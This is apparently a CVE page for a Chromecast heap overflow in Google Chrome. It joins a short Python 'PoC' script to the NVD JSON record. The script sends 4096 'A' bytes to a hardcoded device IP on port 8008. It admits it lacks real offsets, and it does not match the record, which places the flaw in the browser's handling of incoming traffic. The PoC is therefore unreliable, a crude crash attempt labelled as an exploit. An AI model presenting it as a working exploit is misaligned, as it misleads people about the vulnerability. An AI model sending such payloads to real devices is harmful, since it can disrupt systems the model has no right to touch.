CVE-2026-9123

# PoC for CVE-2026-9123 (Heap Buffer Overflow in Chromecast) # This script simulates sending a malicious packet to trigger the overflow. # Note: Actual exploitation requires specific offset and payload alignment. import socket import struct target_ip = "192.168.1.100" # Target device IP target_port = 8008 # Common Chromecast port # Constructing a malicious packet with oversized payload # 'A' * 4096 simulates data causing the overflow payload = b"A" * 4096 try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(payload) s.close() print("[+] Payload sent successfully. Check device status.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-9123", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:45.170", "lastModified": "2026-05-20T20:16:45.170", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap buffer overflow in Chromecast in Google Chrome on Android, Linux, ChromeOS prior to 148.0.7778.179 allowed a local attacker to execute arbitrary code inside a sandbox via malicious network traffic. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495988507", "source": "[email protected]"}]}}